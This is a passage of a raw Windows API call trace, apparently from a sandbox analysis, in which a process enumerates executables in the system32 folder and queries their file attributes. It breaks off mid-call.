ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f3637c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f3637c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="nslookup.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994105eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x1b54e595, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x99756431, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54e580, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ntoskrnl.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b6879f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x92b6879f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xebcede50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ntprint.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef12fdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ef12fdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ef3913b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2d800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ocsetup.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3168728, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x3168728, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfc08d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="odbcad32.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6449966, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6449966, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfe79d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="odbcconf.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39a4b4b4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x39a4b4b4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec0334c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="openfiles.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e3c16f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82e3c16f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xec057eb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="OptionalFeatures.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54c6203, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc54c6203, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xec1fbd70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="osk.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8323c00, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa8323c00, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec32d040, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2b000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="p2phost.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85860053, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x85860053, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec351a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PATHPING.EXE", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd61d53, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x2cd61d53, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec378b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="pcalua.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29aa6c72, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x29aa6c72, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec39fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="pcaui.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31cd3551, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x31cd3551, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec3c4620, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="pcawrk.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1234dce3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1234dce3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdff17430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="pcwrun.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958b40de, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x958b40de, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x95a7d161, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="perfmon.exe", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dcc4a3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x86dcc4a3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec51c9f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PING.EXE", cAlternateFileName="")) returned 1 [0025.959] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834cf504, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x834cf504, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834cf504, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PkgMgr.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dfad5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xa1dfad5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec6997b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="plasrv.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936562fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936562fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PnPUnattend.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8548a6ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8548a6ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec6e52a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PnPutil.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881b634b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x881b634b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec709c90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="poqexec.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84adee62, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x84adee62, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec730d90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="powercfg.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0af919e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4e360, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PresentationHost.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12d1a55, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12d1a55, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12d1a55, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PresentationSettings.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e8c314, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e8c314, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e8c314, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="prevhost.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358d5cdc, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x358d5cdc, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec7ef470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="print.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbece084d, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbece084d, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xec8f9640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PrintBrmUi.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc735d8b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xc735d8b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb6c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="printfilterpipelinesvc.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82819f6c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x82819f6c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PrintIsolationHost.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96daa1e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa96daa1e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecb5bbe0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="printui.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937149e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="proquota.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46066a74, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46066a74, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed3af170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb2e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="psr.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e0b627, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e0b627, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2e31787, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="PushPrinterConnections.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="qappsrv.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="qprocess.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="query.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdee020, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6cdee020, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed7673d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="quser.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e275c42, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6e275c42, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed78e4d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="qwinsta.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73750778, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x73750778, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7b55d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="rasautou.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7742950d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7742950d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7d9fc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="rasdial.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b0458, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1e0b0458, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed84cbb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="raserver.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78aec5a2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78aec5a2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed873cb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="rasphone.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e7da47, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e7da47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ea3ba8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x33800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="rdpclip.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efb6e09, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1efb6e09, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedad3b40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="rdrleakdiag.exe", cAlternateFileName="")) returned 1 [0025.960] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238c2b68, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x238c2b68, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedb1f630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ReAgentc.exe", cAlternateFileName="")) returned 1 [0025.961] GetLastError () returned 0x12 [0025.961] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x18fa00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fa00) returned 0x5d67a0 [0025.961] FindClose (in: hFindFile=0x5d6760 | out: hFindFile=0x5d6760) returned 1 [0025.963] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\DeviceProperties.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\deviceproperties.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x22f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, 